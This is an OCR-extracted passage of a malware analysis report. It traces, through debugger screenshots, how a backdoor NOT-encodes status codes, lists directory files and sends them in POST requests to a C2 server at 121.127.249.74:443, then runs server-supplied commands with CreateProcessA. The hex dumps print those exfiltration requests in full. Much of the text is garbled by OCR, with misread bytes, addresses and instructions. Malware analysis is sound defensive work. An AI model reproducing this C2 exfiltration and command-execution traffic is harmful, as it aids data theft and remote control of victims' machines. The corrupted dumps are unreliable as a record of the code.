0471DFBE| 41 41 41 41|41 41 41 41|41 41 41 41 (41 41 41 41| AAAAAAAASAAAAARA 04710050 || 00DODDES
O471DFCE | 41 41 41 4141 41 41 41[41 41 41 41 (41 41 41 41| AAAAAAAAAAAAAAAA 04710034 || 6718290¢ | apt.
0471DFDS | 41 41 41 41|41 41 41 41|41 41 41 4141 41 41 41 |ASASAAAAAAAALAAN 0471005 || ooo0D7EZ
0471DFES| 41 41 41 41|41 41 41 4141 41 41 41 (41 41 41 41| AAAAAAAASAAAAARA 0471D05C || 00000000
0471DFF8| 41 41 41 41|41 41 41 41|41 41 41 41 (41 41 41 41| AAAAAAAAAAAAAARA 04710090 | 000G0000
O471E008 | 41 41 41 41|41 41 41 41[41 41 41 41 (41 41 41 41| AAAAAAAAAAAAAAAA R atineE LoariEERs
0471ED18 | 41 41 41 41|41 41 41 41|41 41 41 4141 41 41 41 | ASASAAAAAAAASAAN 04710098 67188730 retL
0471E028| 41 41 41 41|41 41 41 4141 41 41 41 (41 41 41 41| AAASAAAASAAAAARA 0471D09¢C || 00DO0000
O471E038 |41 41 41 41(41 41 41 41[41 41 41 41[41 41 41 41| AAAAAAAAAAAAAAAA hinnaal loasiEras Iosas
0471ED48 | 41 41 41 41|41 41 41 41|41 41 41 4141 41 41 41 |ASASAAAAAAAALAAN 0471DDA4 || 67188894 apt.
0471E058| 41 41 41 41|41 41 41 41|41 41 41 41 (41 41 41 41| AAAAAAAASAAAAAAA 04710048 | 047 1EFRD
O471E068 | 41 41 41 41|41 41 41 41|41 41 41 41 (41 41 41 41| AAAAAAAAAAAAAAAA 3 ||t eiaa | (it RS
Figure 58
The process announces the C2 server that the write operation was successful by issuing a POST
request (NOT (CF 83 CE 83 CF 83) =30 7C 31 7C 30 7C = “0I1101):
, S —— - et g
] ®| 671868E83 &A 00 push ©
! #( 67186B85 8B 45 FC mov eax,dword ptr ss:|[Jebp-4]
1 ®( 671865B85 E8 BF CB FF FF call apt.&718374C
i ®| 67186B8D 50 push eax
i ®| 67156EBE BB 45 FC mov eax,dword ptr ss:|[ebp-af
] ®| 67186B91 E8 BG&6 CD FF FF call apt.&718394C
! ®| 67156E96 co push eax
! #®| 671566897 1 push esi
s E8 AZ DA FF FF call <apt.send=
: #| 67156B3D 48 dec eax
! Ir————'ll &6718B6B3E ~ FC 02 j1 apt.&7186BA2
- = SECISE i
4o <
<apt.send-
CODE: 67186B98 apt.exe:$6B958 #5F98
@Woump1  @pump2z Woump3 @Woump4  @Woumps @ wath1 =l {4 PlGarinota ._-,3,:5112
Address | Hex ASCIT ~ s L i
O3FE1490 (50 4F 53 54|20 2F &3 78|70 69 64 2F |73 75 &2 &0 |POST /cxpid/subm 0471D0E0 | 047 1DDAD
O3FE14AD| 69 74 2E 70|68 70 3F 53|65 73 73 639 |6F 6E 49 44|it.phprSessionID [.]4:_J.DDS—1 67186EES
OZIFE14B0| 3D 31 39 36|20 48 54 54|50 2F 31 ZE|(30 OD 0A 48|=196 HTTP/1.0..H D4TlDDSé 0471DD 98
O3FE14CO(6F 732 74 3A|20 21 22 321|2E 31 32 27 |(2E 322 34 39| 05L: 121.127.249 047 10D EC | pooDO10D
0OIFE14D0| 2E 37 34 3A|34 34 33 0D(0A 55 73 65 (72 2D 41 67| .74:443,..User-Ag 04710090 | oooooooo
O3FE14EQ| 65 &E 74 3A|20 4D &F 7FA|69 6C &C 61 |2F 34 2E 20| ent: Mozilla/4.0 04._J.DD9—1 O3FEL1490
O3FE14F0O |20 28 63 6F|GD 7O g1 74|69 62 6C 65 (3B 20 4D 53 {compatible; MS D-I-._'J.DDES 047 1FF 80
O3FE1S00( 49 45 20 37|2E 20 3B 20|57 69 6E &4 |6F 77 72 20| IE 7.0; Windows []4;'lDD‘3C r671887C7
0O3FE1S10| 4E 54 20 35(|2E 31 3B 20|53 56 31 29 (0D 0A 41 63 |NT 5.1; SV1)..AC f]-l-._'J.DD*D 047 1FFCC
O3FE1520(63 65 70 74|3A 20 2A 2F|2A 0D 0OA 41|63 63 65 70| cept: */*..Accep f]4:‘lDD:\J 67188B9A
03FE1530( 74 2D 4C 61|6E &7 75 61|67 65 3A 20(65 GE 2D 75 t—Lar‘IguagE:_ 2n-u U-I-TJ.DD%S. 047 1FF 80
03FE1540|73 0D OA 43|6F 6E GE 65(63 74 65 6&6F|6E 3A 20 4B s..Connection: K 04710DAC | 67188364
O3FE1S50( 65 65 70 2D (41 &6C 69 76|65 0D 0OA 43 |6F 6E 74 65| eep-Alive..Conte o47100E0 | 67188364
D3FE1S60|6E 74 2D 54(79 70 65 3A|20 74 65 78|74 2F 68 74| nt-Type: text/ht 04."J_DDB-1 00000000
O3FE1S70|6D &C 0D 0OA|42 6F GE 74|65 6E 74 2D |4C &5 G&E &7 |ml..Content-Leng 04._'J.DDES 00000000
D3FE1S80|74 68 3A 20(37 37 OD DA|OD OA 3C 68|74 6D 6C 3E|th: 77....<html> []4;'1DDBC 00000000
03FE1590|3C &8 &5 61|64 3E 3C 74|69 74 6C 65 |3E 52 &5 73| <heads<title>Res f]4._'lDDCD 00000000
O3FE1S5A0( 75 6C 74 3C|2FE 74 €9 F4|6C 65 3E 3C|2F 68 65 61 u'lt-\:,.r't'l't'le:--:,f'hga [.]4._J_DDC-1 Q0000000
O3FE1S5BO|( 64 3E OD OA|3C &2 GF 64|79 3E 3C 68|34 3IE CF 83 d:-_._.-dbudy:\--\:hﬂl:»-l. 04._'J.DDCS- 00000000
O3FEASCO|(CE 83 CF B83|3C 2F 68 34|3E 3C 2F 62 |6F 64 79 3E I.I.-:,.r'h4:--:,.fb|:|dy:- U-I-._J.DDCC Q0000000
O3FELSDO|3C 2F 68 F4|6D &C 3E OO|E4 BS 18 &7 |F4 Bt 18 &7 | </html>.&y.gbu.g | |dmtn ] P
Figure 59

If the write operation failed, the request is changing (NOT (CF 83 CF 83 CF 83) =30 7C 30 7C 30
7C =*0I0I0I”):
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g : ¢|| 67186883 G6A 00 push 0
L ®| 67 18EE55 8B 45 FC mov eax,dword ptr ss:|[[ebp-4]
i i ®| 67186B8E E8 BF CB FF FF £all apt.6718374C
i ®( 67186B5D 50 push eax
! L #| 67186B5E 8B 45 FC mov eax,dword ptr ss:|[febp-4]
r # | 67186B9L E8 B& CD FF FF call apt.&718394C
P! ¢ 67186B96 50 push eax
1 ! #®| 67186B97 1) push esi
F— > E8 AZ DA FF FF call <apt.send:
! H #| 67186B9D 45 dec eax
v - || T Forr = e
(e pe] <
e o
<apt.send=>
CODE: 67186B98 apt.exe: $6B98 #5F33
;) [EEEUBER] 00000130 |
$oump1  @lpump2z @HDump3 @WHoump4  @Woumps @ watch1 Ix=lloals 4 W GarinDTa unglix
Address | Hex ASCTT || 0471DDTE | 00000147
O2FE1490 |50 4F 53 54|20 2F 63 78|70 &9 &4 2F |73 75 &2 &D|POST Scxpid/subm g:zigggﬁ m
O3FE14AQ| 69 74 2E 70|68 7O 3IF 53|65 73 73 69 |6F GE 49 44|it.php?SessionID []4%J_DDS4 67186EES
O2FE14B0|3D 31 39 37 (20 48 54 54|50 2F 31 2E|30 0D OA 48|=197 HTTP/1.0..H 04710028 | 047 1DD98
O3FE14CO|6F 73 74 3A(20 31 32 31|2E 31 32 37(2E 32 34 39|0st: 121.127.249 0471005C | D00DO0OFD
O3FE14DO| 2E 37 34 3A|34 34 33 OD|0A 55 73 65|72 2D 41 67|.74:443..User-Ag 047100390 | oooCOOOL
O3FE14E0| 65 GE 74 3A(20 4D 6F FA|69 6C 6C 61|2F 34 2E 30|ent: Mozilla/s4.0 04710094 | 03FE1490
O3IFE14F0| 20 28 63 6F (g0 7O §1 74|69 62 6C 65 (3B 20 4D 53| (compatible; MS U-f"lDDE!S D471FF80
O3FE1S00| 49 45 20 37 |(2E 30 3B 20|57 69 6E 64 |6F 77 73 20|IE 7.0; Windows 0471009 F671887CT
O3FE1510| 4E 54 20 35|2E 31 3B 20(53 56 31 29|00 DA 41 B3 (NT 5.1; 5Vv1)..Ac ﬂ-t:‘J_DDi\[] 047 1FECC
O3FE1S520|63 65 70 74(3A 20 2A 2F|2A OD 0OA 41|63 63 65 70| cept: =*/*,..AcCcep naziooas || 67153834
O3FE1530(74 2D 4C 61|6E 67 75 61|67 65 3A 20|65 GE 2D 75|t-Language: en-u na7iooas | 0a71EERD
O3FE1540|73 0D 0A 43 6F 6E 6E 65|63 74 69 6F | 6E 3A 20 4B|s..Connection: K 047100AC | 67188364
O3FE1S50|65 65 70 2D (41 6C 69 76|65 OD 0OA 43 |6F 6E 74 &5 |eep-Alive..Conte na7iooen | 67158264
O3FE1560|6E 74 2D 54|79 70 65 3A|(20 74 65 78|74 2F 88 74(nt-Type: text/ht 04;1DDB4 00000000
O3FELS70| 6D &C OD OA |43 6F GE 74|65 GE 74 2D |4C 65 6E &7 |ml..Content-Leng na71ooes | coooooon
O3FELS80|74 68 3A 20(37 37 OD 0OA|OD 0A 3C 68|74 6D 6C 3E|th: 77....<html> na71ooec || oooooooo
0IFE1590| 3C &8 65 61|64 3E 3C 74|69 74 6C 65 |3E 52 &5 73| <head=<titlexRes 04;'1DDCD 00000000
O3FE1SAD| 75 6&C 74 3C z I4|6C 65 3E 3C|2F 68 65 61| ult</titlex</hea 047 1ooc 4 || oooooooo
O3FE15BO| 64 3E 0D 0A|3C 62 6F 64|79 3E 3C 68|34 3E CF 83| d>..<body><h4>I. []4;'1DDCS 00000000
O3FELSCO|CF 83 CF 83 (3C 2F 68 34|23E 3C 2F &2 |6F 64 79 3E|I.I.</h4></body> na71oocc | coooooon
O3FELSDO|3C 2F 68 74|60 6C 3E 0O0(E4 BS 18 &7 |E4 BS 18 &7 | </html>.4u.gdu.q | || it
Figure 60

An identical GET request, as presented before, is sent to the server and the malware jumps back to

the switch statement (this applies to each case).

Case2-EAX =1

In this case, we have 2 subcases depending on the response from the server. In the first one, the

only thing that is exfiltrated to the CnC server is the current directory, which can be obtained by

applying a NOT operation:
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In the second subcase, the
FindNextFileA functions:

0 : ¢| 671868383 6A 00 push 0

Bl ®| 67156B35 BB 45 FC mov eax,dword ptr ss:|[ebp-4f

: H ®|| 67186E88 E8 BF CB FF FF E&Tl apt.6718374C

I ®( 67186B8D 50 push eax

! i #®| 67156B3E BB 45 FC mov eax,dword ptr ss:|[ebp-4

il ®| 671E86B91 EZ B& CD FF FF €31l apt.e&718394C

i #| 67156B96 50 push eax

e #®( 67186B97 56 push esi
| E——re ES A3 DA FF FF call <apt.send> .

L ® [ 67186830 48 dec eax YV

] < > Default{shd&

Sy
<apt.send= 1: [esp]
CODE:67186E98 apt.exe: $6E98 #SF38

iy " " " " = PRl 04710024

WWoump1  @oump2  @Woump3  @Woump4  @Woumps @ watchi  [x=lLocals | ey
Address | Hex ASCII ~ | S ibDtH | ootk
O3FEQDSC |54 4F 53 54|20 2F 63 78|70 69 &4 2F |73 75 &2 &D |POST /cxpid/subm 04710024 | 0471DD5 4
O3FEODSC | 6% 74 2E 70|68 70 3IF 53|65 73 73 69|6F GE 49 44| it.phprsessionID D471DD325 | 67 LAGRRA
O3FEODAC | 3D 34 31 20|48 54 54 50|2F 31 2E 30|0D 0A 48 6F |=41 HTTP/1.0..Ho E]I:‘lDDSC 047100 4C
O3FEODEC |73 74 3A 20|31 32 31 2E|31 32 37 2E|32 34 39 2E|st: 121.127.249. 0471DD20| 67188364
O3FEODCC | 37 34 3A 34(34 33 0D 0OA|55 73 65 72 |2D 41 67 65| 74:443..User-Age 047 10D 44 | oooooooo
O3FEODDC | 6E 74 2A 20|4D 6F 7A 69|6C 6C 61 2F |34 ZE 20 20|nt: Mozilla 4.0 04710045 | D3FEODEC
O3FEODEC |28 63 G&F 6D |70 61 74 69|62 6C 65 3E|20 4D 53 49| (compatible; MsSI D471DD4C | 04710098
O3FEODFC| 45 20 37 2E|320 3B 20 57|69 6E 64 6F|FF 72 20 4E|E 7.0; windows N 04.‘-TDD;D 67 187ABS
O3FEDEOC |54 20 35 2E|31 3B 20 53|56 31 29 OD|0A 41 63 63|T 5.1; 5V1)..Acc 047100% 4 || 047 100 AD
O3FEQOELC (65 70 74 3A (20 2A 2F 2A|0D 0A 41 63|63 65 70 74 |ept: *,/*..Accept Q-‘r%IDDSB 67187C9F
O3FEOE2C (2D 4C 61 GE|67 75 61 67 (65 3A 20 65|G6E 2D 75 73|-Language: en-us n471posc || 047 10098
O3FEOE3C| 0D DA 43 6F|6GE GE 65 63 (74 63 6F 6E|3A 20 4B 65| ..Connection: Ke 04710060 || nooooooo
D2FEDE4C |65 70 2D 41|6C &9 76 65 |0D DA 43 GF |6E 74 65 &E | ep-Alive..Conten 04710064 || ooDOOOOO
O3FEQESC |74 2D 54 79|70 65 3A 20|74 65 78 74|2F 68 74 6D | t-Type: text/htm 04.'J_DDF-S 00000000
D3FEDEGC |6C 0D 0A 43|6F GE 74 65 |GE 74 2D 4C|gE GE €7 74|1..Content-Lengt nariopec | oonoooon
O3FEDEFC |68 3A 20 39|36 0D 0OA OD|QA 3C €8 74|60 6C 3E 3C|h: 96....c<html>< 64'__TDD_’(, ERnnEon
O3FEOQOESC |68 65 61 64|3E 3C 74 69|74 6C 65 3E|52 65 732 75| head»<titlexResu i]4;IDD;-*; 20000000
O3FEDESC | 6C 74 3C 2F|74 69 74 6C|65 3E 3C 2ZF|68 65 61 64| lt</titlex</head n4710075 | 02FEOR24
O3FEOEAC | 3E OD 0A 3C |62 6F 64 ¥9|3E 3C 68 34|3E CE 83 CE ::-.,-ibl:ud}"::-*:h4>1.1 n471007c | 03FEDACE
O3FEOEEC |83 BC C5 A3 |AA BC 9A 8D |BC A3 AD BA|BE2 A3 BE 9A| . WAf2. .. £.9%fp, n4710os0 || oooooooo
O3FEOECC | BC 94 BB 90|8F 83 3C 2F |68 34 3E 3C|2F 62 6&6F 64 ......-t:,.f'h-1-::--d{'bl:ll:| []4'J_DDS-*; O03FEODBC
O2FEOEDC | 79 3E 3C 2F|68 74 6D 6C|3E 00 00 00|E4 Bt 18 &7 |v=</html>...06U.Q || B i e
Figure 61

malware scans the current directory using the FindFirstFileA and

[E 1P pu el ES8 48 CD FF FF €all <apt.FindFirstFilea> C5 0023 S5 002B
® | 67187808 BB F8 mov eg1_,ea_'x
» || 6718780A 83 FF FF cmp edi,FFFFFFFF
r----o||67187800| v 75 11 jne apt.67187820 3:2 gggggggg
| ® || 67187 80F 8B C6 mov eax,esi
! o | 67187811 BA 8C 79 18 67 mov edx,apt.&718798C e e
! = | 67187816 E8 01 BE FF FF call apt.6718361C DR3 00000000
—+——e| 67187818 ~ E9 31 01 00 00 jmp apt.6&7187951 DR6& 00000000
~---e || 67187820 33 DB xor ebx,ebx DR7 00000000
e || 67187822 68 94 79 18 &7 push apt.e7187994
® | 67187827 8D 85 CC FE FF FF lea eax,dword ptr ss:[ebp-134]
®| 6718782D 50 push eax
® || 6718782E ES8 85 CD FF FF call <apt.lstrcmpi>
e || 67187833 85 CoO test eax,eax
r----®|| 67187835 ~ T4 15 je apt.6718784C
i e || 67187837 68 98 79 18 67 push apt.e7187938
q ® || 6718783C 8D 85 CC FE FF FF lea eax,dword ptr ss:[ebp-134]
i ® | 67187842 50 push eax
! ®| 67187843 E8 70 €D FF FF call <apt.lstrcmpi=
i ®|| 67187848 85 co test eax,eax
-1 6718784A| =+ 75 2B jne apt.67187877
& 67187 84C 8D 85 AOQ FE FF FF lea eax,dword ptr ss:[ebp-160]
) 67187852 50 push eax
[ ®| 67187853 57 push edi =
! ®| 67187854 E8 FF CC FF FF call <apt.FindMextFilea> v =
! ¢ B T = Default (stdcall)
= 1: [esp] O3FE0DACS "C:%\Users'\EEE
Zapt.FindrirstrileAs . Esglﬂ FROACS. TCNN \
3: [esp+8] 0471DDS4
4 esp+<:] 67187974 apt 67187974
CODE: 67187803 apt.exe:$7803 #6C03 o
= =
Yyoump1  @pump2  WdHDump3  Woump4  BMpumps @ watchi  ellocals 4 W) HEADBLs 8i§i§‘3’é.‘:‘| = \\WEFS\\-\\Deshop\
Figure 62

Each file time is extracted and converted to a local file time by using the

FileTimeToLocalFileTime API:
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P ®| 671B75AS 50 push eax
oy ®| 6715758A9 8D 85 B4 FE FF FF 1ea eax,dword ptr ss:[febp-14C]
e ®| 671878A 50 push sax
- w E8 8B CC FF FF €all <apt.FileTimeToLocalFileTime:> W
Ve M e e e e g, Y T
1
1

<apt.FileTimeToLocalFileTimes=

CODE: 67187 3B0 apt.exe: $78B0 #6CBO

EFR-H

Popoump1i @4 Dump 2

% Dump3 @Y% Dump 4 4% Dump 5

@ Watch 1 [x=] Locals

4 Ej 0471DC0O0
0471DBEDO | 0471DD30

Address | Hex

0471DBD 4 | 0471DD5 4

0471DC10| 00D OO0 OO 00

0471DCOC | 4C B9 6B BA(D9 89 D6 01 (00 00 00 00|47 44 0L O0|E K. U.Ouuu.w GD..
00 00 00 00|31 30 6B CO|00 00 OO0 00| iuvvuaan i A

Figure 63

0471DED S| 67187974
0471DEDC | 047 1DD 4C
N47INRFOI A7TTRRIARL

The process constructs the next buffer for every file: 1/File nameldwHighDateTime (high-order 32

bits of the file time) in decimallFile size in decimall. An example of such buffer is presented in the

next picture:

Address | Hex

ASCII

0ZFEOB2C
03FEQB3C

33-30 31 35

Figure 64

31 7C 31 30(6B 7C 33 30|38 33 37 31|36 27 7C 33 5
fFCI 00 00 OO|E4 BS 18 &7(F4 BS 18 &7 | B303SY. . .ou

110k |30837167 |8
.qou.q

After the process succeeds in applying the algorithm for every file in the current directory, the final

buffer looks like the following:

Address

Hex

ASCII

D3FEZ3C4
D3IFEZ3D4
O3FEZ3E4
O3FEZ3F4
D3IFEZ404
D3FEZ2414
D3FEZ424
D3FEZ434
D3FEZ2444
D3IFEZ454
D3IFEZ464
D3IFEZ47 4
D3IFEZ484
D3FEZ494
D3IFEZ4A4
D3FEZ4B4
D3IFEZ4C4H
D3IFEZ4D4
D3FEZ4E4

2 7C 31 30| 6B
33 30 31 35 |7C
63 65 39 66|31
33 39 65 32|64
70 2E 65 78|65
35 31 34 32|39
62 63 2E 73 |6F
7C 32 31 36|32
62 34 62 63|39
38 65 62 34|33
66 32 65 61|32
34 65 32 35|39
FA F7C 33 20|38
fC 31 7C 34|64
31 66 31 28|36
61 38 30 2D |44
ZE 65 73 65 |7C
323 39 38 21|32
30 37 37 32|64

7C
31
30
36
fC
39
2E
39
35
65
39
34
32
31
34
G5
33
23
25

33
7C
66
33
33
7C
30
32
33
66
33
36
33
30
63
76
30
7C
31

20
31
37
2D
30
31
7C
7C
62
G4
63
30
37
34
23
69
35
21
31

35
62
38
46
EL=
7C
33
31
30
19
37
35
21
35
30
63
32
7C
63

33
&4
35
4D
32
32
30
7C
37
&2
39
39
33
36
[53
&5
36
38
&5

37
65
39
43
32
2E
35
32
37
61
65
2E
7C
61
35
56
31
61
35

Figure 65

31
=15
E 1
52
30
31
32
31
33
3B
30
62
34
30
i6
(5]
31
34
&5

36
39
34
53
35
30
30
3z
64
30
G5
69
31
37
63
G5
35
31
85

277

63
33
65
25
2E
i6
34
36
G4
27
6E
35
39
&4
77
fC
39
61

66
61
74
7C

33
33
35
37
(=15)
2E
31
62
32
G5
31
62
34

35
34
31

31
&9
37
63
6l
66
1
67
30
64
61
72
32
31
34

1|10k|30837167 |8
3015 | 1| 1bdefact4
ceaflof7e59543al
39e2de3-FMCRSetu
p.exe|30822055 |1
514299|1|2.10.11
bc.s0.0| 30520637
|216292 |1|21243c
b4bcas3b0r773desa
Seb43zefdobasodrT
T2eaz93cr7oe0erTe
4225946059.bin. g
Z|320823713| 41510
| 1| 4d10486a073bd
1T1864c30e86cd2a
aso-Deviceviewer
.ExXe|308261158|12
398123 |1|8a419b1

0772d8llcesecadd

The buffer is encoded using the NOT operator and is exfiltrated to the C2 server via a POST

request:
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Case3—-EAX =2

i ®| 67186883 A DO push 0
! #| G7156B85 8B 45 FC mov eax,dword ptr ss:|[lebp-41
i 8| 671EGEEE EZ BF CEB FF FF €811 apt.&718374C
I ®| 67136B5D 50 push eax
) #®| 67186BBE BB 45 FC mov eax,dword ptr ss:|[lebp-4f
f ®| 67186E91 EZ B6 CD FF FF €81l apt.&718394C
! #| GT156B96 50 push eax
! e 67186897 56 push esi —
Fg—n ES A3 DA FF FF call <apt.send= bl —
: L > Def
s Tl
<apt.send> ;':
3:
CODE: 67186E98 apt.exe: $6E98 #5Fo8 EE?
;) [EEEELEEEY 00000130 |
B4y Dump 1 24 Dump 2 Y% Dump 3 24 Dump 4 4% Dump 5 B watch 1 [x=] Locals 4 Ej D471DD28 ugFEyi:g
Address | Hex ASCIT A e it
D3FE7F188 |50 4F 53 54|20 2F 62 78|70 69 &4 2F|72 75 62 &D|POST Jcxpid/subm D471DD34 | 047 1DD5 4
D3FET198| 6% 74 2E 70|68 70 3F 53|65 73 73 69|6F GE 49 44|1it.phpTSessionID 04;lDD§§ 67 186BES
DIFET1A8| 3D 29 32 20|48 54 54 50|2F 31 2E 30|0D OA 48 &F (=92 HTTFP/1.0..Ho 04710030 | D47 1DD4C
ODIFET1B8|73 74 3A 20(31 32 31 2E|31 32 37 2E|32 34 39 2E|st: 121.127.249. D471DD20 | 67188364
D3FETICS| 37 34 3A 34|34 33 0D OA|55 73 65 72|2D 41 67 65| 74:443,.User-Age 04710044 | 00000000
DIFE7IDS | 6E 74 3A 20(4D 6F 7A 69|6C &C &1 2F|324 2E 20 20|nt: Mozillas4.0 D471DD48 | 0IFE7188
D3IFET1E8| 28 63 &F 6D |70 61 74 69|62 6C 65 3B|20 4D 53 49| (compatible; MsSI D471DD4C | 047 10058
O3FE71F8| 45 20 37 ZE(20 2B 20 57|69 6E 64 &F|77F 73 20 4E|E 7.0; windows N n4-1bDen Feriarcic
D3IFET208|54 20 35 ZE(31 3B 20 53|56 31 29 OD|04 41 63 63|T 5.1; 5W1]..Acc 0471005 4 || 047 10DA0
O3FE7218|65 70 74 3A(20 2A 2F 2A|0D OA 41 63|63 &5 70 74|ept: */*. _ Accept na-iooss || e7187CaE
O3FE7228|2D 4C 61 GE|67 75 61 67|65 3A 20 65|6E 2D 75 73|-Language: en-us narippec || 04710098
O3FE7238|0D DA 43 &F |6E 6E 65 63|74 63 &F GE|3A 20 4B 65|..Connection: Ke na71oos0 | oooooooo
D3IFE7248|65 70 2D 41|6C 69 76 65|0D DA 43 &F|GE 74 65 &E|ep-aAlive..Conten nariones | o3rEasTC
D3IFET258|74 2D 54 79|70 65 3A 20|74 65 78 74|2F 68 74 6D |t-Type: text/htm nar1ppes || 0arEDAFD
D3FET268|6C 0D 0OA 43|6F GE 74 65|6E 74 2D 4C|g5 GE 67 74|1..Content-Lengt nariooes | oooooooo
D3IFE7278| 68 3A 20 35(30 32 34 OD|0A OD OA 3C|G68 74 6D &C|h: 5024....<html nar1po7o || oooooooo
O3FE7288|3E 3C 68 65|61 64 3E 3C|74 6% 74 6C|65 3E 52 65 |»<head-<titlexRe na71oo74 || oooooooo
D3IFE7298 |72 75 GC 74(3C 2F 74 69|74 6C 65 32E|3C 2F 68 65 |sult</ritle=</he nar1oo7a | oooooooo
D3IFET2A8| 61 &4 3E OD|0DA 3C 62 6F|64 79 3E 3C|68 34 3E CE|ads>. ﬂbody>ah4b1 o471007c || oooooo00
O3FE72B8(83 CD 83 BC|C5 A3 AA 5C(9A 8D S8C A3 |AD Ba B2 A3|.I.MAf2.,..f.°%f 04710080 || ooo00000
D3FET2CE8|EE 94 BC 94 |8E 90 BF 83 |CE 83 CE CF|94 B3 CC CF|®....... i narinos4 || 03FE7 188
OIFE72D8|C7 CC C8 CE|(CHY C8 83 C7|CC CF CE CA|83 CE 83 CE cIEIEE gIIIE .1 na-1iooss || 03rE0BDO
D3FET2ES|9D0 9B 9A 99|C6 9C 99 CE|9C 9A C6 99|CE CF 99 C8|....4%..E..4.11.E narionac | 0zpE23C4
O3FE72F8(C7 CA C6& CA|CB CC 9E CE|(CC C6 9A CD|9B C9 CC D2 (CEZEEL.I1Ts£.1.EIO 04;10030 O3FEDAC S
O3FE7308(B9 B2 BC AD |AC 9A BB BA(SF D1 9A 87 |9A B3 CC CF|'*¥,-....H....II nar1ooa4 | oooooooo
O3FE7318|C7 CD CD CF|CA CA B3 CE|CA CE CB CD|C6 C6 83 CE|CIiIEE.IETETA%.1 | ikt | et
Figure 66

By parsing the response from the server to obtain the command line to be executed, there is a new

process created using the CreateProcessA function:

Figure 67
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| 67188260 S0 push eax

#®| 6718826E 8D 45 B4 lea eax,dword ptr ss:[febp-4cC]]

#®( 67188271 50 push esax

®( 67188272 &A 00 push ©

®( 57138274 &8A 00 push ©

®( 67138276 &A 00 push ©

®| 67188278 64 00 push O

®( 6718827A &8A 00 push ©

& 67183827C &A 00 push ©

®| 6718827E FF 75 FC push dword ptr ss:|[[ebp-4]

#( 671358281 &8 FO 82 18 &7 push apt.6&71582F0

®( 67158286 FF 75 F8 push dword ptr ss:[lebp-5]

e 67188289 8D 45 AD lea eax,dword ptr ss:|[febp-c0j

& 6713828C BA 03 00 00O 00 mov edx,3

#( 67138291 EB8 76 B FF FF call apt.6715380C

®( 67158296 8B 45 AD mov eax,dword ptr s5:[febp-60§

®( 671858299 EB AE B& FF FF call apt.e&718394C

®| 67183829E S0 push eax

®( 67138239F &A 00 push 0O
Eg—s ES 8A C2 FF FF call <apt.CreateProcessA»

o £
<apt.CreateProcessA>
CODE: 671882A1 apt.exe:$52A1 #76AL
@oump1l  @oumpz  @Woump3 @oump4 B4 Dump s @ watch1  Ix=lLocals 4 W 04710004 | DIEEOACE
Address | Hex ASCII i st
O3FEOACC J80N 00 33 OD |E4 BS 18 7 |E4 BS 18 €7 (2C 35 00 00 .3.0U.goOM. g|1 04710010 | oooooo00
O3FEOADC |28 35 00 00|11 22 33 OD|0OA OD OO0 OO(E4 BS 18 67|(5..."3..... |J 04710014 | ooooo000
O3IFEOAEC (E4 BS 18 €714 35 00 0O0(11 22 33 0D |14 00 OO0 00| OW. g 5..."3..... 04710018 | ooooooon
0O3FEOQOAFC |17 0O OO OO|00 OO0 OO0 OO(0&e OO OO 00|11 22 33 OD|.... srsazaaas 0471DD1C | oooDOOOO
O3FEOBOC (04 OD OO OO(E4 BS 18 ©F H_Eﬁ_lﬁ_ﬁ; EC 34 00 I:IE . OW. gop g14 04710020 | 0471DD4C
03FE0BIC|11 22 33 O0|0A 0D 00 00|E4 B5 18 67 |F4 85 48 67|."3... .64 9%K, 0 04710024 0472003
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(CD 83 CE 83 CF83)=327C317C 30 7C =“2I1I0I"):

P ®| 67186B83 &A 00 push 0

Lty #| 671B8EBE5 BB 45 FC mov eax,dword ptr ss:[ebp-4]

5 ® | 67186E88 E8 BF CB FF FF EET1 apt.6718374C

! : #| 67 186BED 50 push eax

! ) ®| 67186ESE BB 45 FC mov_eax,dword ptr ss:febp-4]

i ® | 67186BE91 E8 B6 CD FF FF E&TT apt.6718394C

P! ® | 67186E96 50 push eax

1ot ®( 671866397 56 push esi

— s E8 A3 DA FF FF €a11 <apt.send=

! : #| 67186B3D 48 dec eax

b ----® | 67186B9E| ~ 7C 02 j1 apt.6&T7186BA2

! Sl i o

il C[®
<apt.send>
CODE: 67186B93 apt.exe:36BI8 #5F35
PYoumpl  @oumpz @y Dump3 @Y Dump4 @4 Dump s @ watch1  [x=lLocals 4 W 0371DD7 4 Dg.:Eu:;I.'?g
e e = a8 casesen
OIFEODSO (50 4F 53 54|20 2F &3 78|70 &% &4 2F (73 75 62 &D|POST Jcxpid/subm 047100 S0 | 047 1DDAD
O3FEODGD| 69 74 2E 70|68 70 3F 53(65 73 73 69|6F 6E 49 44|1it.php?SessionID 04710034 | 67186EES
O3FEOD7O| 3D 31 32 38|20 48 54 54|50 2F 31 2E|(30 OD DA 483|=128 HTTP/1.0..H I:|4TJ.DDSS 04710095
O3FEODBO|&F 73 74 3A|20 31 32 31(2E 31 32 37|2E 32 34 39|ost: 121.127.249 047100EC | 67188364
D3FEOD90| 2E 37 34 3A|34 34 33 OD|0A 55 73 65|72 20 41 67(.74:1443..User-Ag 047100320 | 00000000
O3FEODAD| &5 GE 74 3A|20 4D &F TA(|69 6C 6C 61|2F 34 2E 30|ent: Mozilla/ 4.0 04710094 | 03FEODEO
O3FEODBO| 20 28 &3 6F (gD 70 ©l 74(69 62 &C &5|3B 20 4D 53| (compatible; MS 04710035 | 047 1FES0
O3FEODCO| 49 45 20 37|2E 30 3B 20|57 69 6E 64(6F 77 73 20|IE 7.0; Windows 0471009C Fe7188449
D3FEODDO| 4E 54 20 35(2E 31 3B 20|53 56 31 29|00 0A 41 63|NT 5.1; SV1)..AC 04710040 | 047 1FFEC
O3FEODED| &3 65 70 74|34 20 2A 2F(2A OD 0A 41|63 63 &5 70|cept: */*.. Accep U_‘:_lDD;J 67185E9A
D3FEODFO|74 2D 4C 61|6E 67 75 61|67 65 3A 20|65 6E 20 75|t-Language: en-u n471004s | 047 1FFS0
O3FEOEOD |73 OD DA 43 |6F 6E 6E 65|63 74 69 6F[6E 3A 20 4B|s..Connection: K 0471004C || 67188264
D3FEDELO( 65 65 70 20|41 6C 69 76|65 0D DA 43|6F 6E 74 65 |eep-Alive..Conte 04710080 | 67 188364
O3FEOE20|6E 74 2D 54|79 70 &5 3A(20 74 65 78(Z 74| nt-Type: text/ht 0a7100E4 | nonooooo
D3FEOE30| 60 6C 0D DA|43 6F G6E 74|65 G6E 74 2D|4C 65 GE &7 |ml..Content-Leng 0471DDBS || 00000000
O3FECE40|74 68 34 20|37 37 0D OA(OD OA 3C 68|74 6D &C 2E|th: 77....<html> na71o0eC | oooooooo
D3FEDES0|3C 68 65 61|64 3E 3C 74|69 74 6C 65|3E 52 65 73|<head-<title-Res 047100C0 || 00000000
